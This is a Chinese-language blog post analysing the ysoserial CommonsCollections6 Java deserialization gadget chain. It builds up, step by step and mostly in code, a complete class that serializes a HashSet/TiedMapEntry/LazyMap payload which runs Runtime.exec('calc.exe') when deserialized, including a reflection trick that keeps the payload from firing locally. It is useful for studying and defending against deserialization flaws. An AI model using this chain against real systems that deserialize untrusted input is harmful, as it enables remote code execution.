利用链如下
其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | /* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() */ |
1、InvokerTransformer.transform()
因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。
1 2 3 4 | Class cr = Class.forName( "java.lang.Runtime" ); Method getMethod = (Method) new InvokerTransformer( "getMethod" , new Class[]{String. class , Class[]. class }, new Object[]{ "getRuntime" , new Class[]{}}).transform(cr); Runtime runtime = (Runtime) new InvokerTransformer( "invoke" , new Class[]{Object. class , Object[]. class }, new Object[]{ null , null }).transform(getMethod); new InvokerTransformer( "exec" , new Class[]{String. class }, new Object[]{ "calc.exe" }).transform(runtime); |
2、ChainedTransformer.transform()
使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元素的transform,transform传入的参数为前一个元素的对象。所以这个方法可以对步骤1中链执行。
1 2 3 4 5 6 | public ChainedTransformer(Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform(Object object) { for ( int i = 0 ; i |
创建一个Transformer[],包含步骤1中所有对象。
1 2 3 4 5 | Transformer[] transformers = { new InvokerTransformer( "getMethod" , new Class[]{String. class , Class[]. class }, new Object[]{ "getRuntime" , new Class[]{}}), new InvokerTransformer( "invoke" , new Class[]{Object. class , Object[]. class }, new Object[]{ null , null }), new InvokerTransformer( "exec" , new Class[]{String. class }, new Object[]{ "calc.exe" }) }; |
由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。
1 2 3 4 5 6 7 | public ConstantTransformer(Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } |
所以最终得到的transformers是
1 2 3 4 5 6 7 8 9 10 11 12 | public static void main(String[] args) throws Exception { // Class cr = Class.forName("java.lang.Runtime"); ; Transformer[] transformers = { new ConstantTransformer(Class.forName( "java.lang.Runtime" )), new InvokerTransformer( "getMethod" , new Class[]{String. class , Class[]. class }, new Object[]{ "getRuntime" , new Class[]{}}), new InvokerTransformer( "invoke" , new Class[]{Object. class , Object[]. class }, new Object[]{ null , null }), new InvokerTransformer( "exec" , new Class[]{String. class }, new Object[]{ "calc.exe" }) }; new ChainedTransformer(transformers).transform( 1 ); //calc.exe } |
3、LazyMap.get()
LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型
所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。
1 2 3 4 5 6 7 8 9 10 11 12 | public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } |
当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用
1 2 3 4 5 6 | Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put( 1 , "hello" ); Map lazyMap = LazyMap.decorate(map, transformer); lazyMap.get( 2 ); //calc.exe |
4、TiedMapEntry
根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。
1 2 3 4 5 6 7 8 | public TiedMapEntry(Map map, Object key) { super (); this .map = map; this .key = key; } public Object getValue() { return map.get(key); } |
利用链
1 2 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2 ); tiedMapEntry.getValue(); |
再看TiedMapEntry的hashCode方法,实现了getValue()的调用。
1 2 3 4 5 | public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } |
利用链
1 2 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2 ); tiedMapEntry.hashcode(); |
5、HashMap
hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法
1 2 3 4 5 6 7 | static final int hash(Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public V put(K key, V value) { return putVal(hash(key), key, value, false , true ); } |
利用链
1 2 3 | Map hashmap = new HashMap(); hashmap.put(tiedMapEntry, 1 ); //calc.exe |
6、HashSet
根据利用链看HashSet类的readobject(),由于map = new HashMap(),最终实现了在readobject中调用了hashmap.put方法。
1 2 3 4 5 6 7 8 9 10 | private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ... // Read in all elements in the proper order. for ( int i= 0 ; i<size; i++) { @SuppressWarnings ( "unchecked" ) E e = (E) s.readObject(); map.put(e, PRESENT); } } |
利用链
1 2 3 4 5 6 | HashSet hashSet = new HashSet(); hashSet.add(tiedMapEntry); ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream( "D:\cc6.ser" )); objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream( "D:\cc6.ser" )); objectInputStream.readObject(); |
由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。
1 2 3 | public Object getValue() { return map.get(key); } |
lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。
1 2 3 4 5 6 7 8 9 | public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } |
所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);
在序列化之前需要将该key移除
1 | lazyMap.remove( 2 ); |
优化:
由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。
1 2 3 | public boolean add(E e) { return map.put(e, PRESENT)== null ; } |
在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。
1 2 3 4 5 6 7 8 9 10 | Transformer[] transformers = {}; Transformer[] transformerslist = { new ConstantTransformer(Class.forName( "java.lang.Runtime" )), new InvokerTransformer( "getMethod" , new Class[]{String. class , Class[]. class }, new Object[]{ "getRuntime" , new Class[]{}}), new InvokerTransformer( "invoke" , new Class[]{Object. class , Object[]. class }, new Object[]{ null , null }), new InvokerTransformer( "exec" , new Class[]{String. class }, new Object[]{ "calc.exe" }) }; Field field = ChainedTransformer. class .getDeclaredField( "iTransformers" ); field.setAccessible( true ); field.set(transformer, transformerslist); |
最终的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | public class CC6Test1 { public static void main(String[] args) throws Exception { Transformer[] transformers = {}; Transformer[] transformerslist = { new ConstantTransformer(Class.forName( "java.lang.Runtime" )), new InvokerTransformer( "getMethod" , new Class[]{String. class , Class[]. class }, new Object[]{ "getRuntime" , new Class[]{}}), new InvokerTransformer( "invoke" , new Class[]{Object. class , Object[]. class }, new Object[]{ null , null }), new InvokerTransformer( "exec" , new Class[]{String. class }, new Object[]{ "calc.exe" }) }; Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap(); map.put( 1 , "hello" ); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2 ); HashSet hashSet = new HashSet(); hashSet.add(tiedMapEntry); lazyMap.remove( 2 ); Field field = ChainedTransformer. class .getDeclaredField( "iTransformers" ); field.setAccessible( true ); field.set(transformer, transformerslist); ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream( "D:\cc6.ser" )); objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream( "D:\cc6.ser" )); objectInputStream.readObject(); } } |
以上就是java 安全 ysoserial CommonsCollections6 分析的详细内容,更多关于java ysoserial CommonsCollections6的资料请关注IT俱乐部其它相关文章!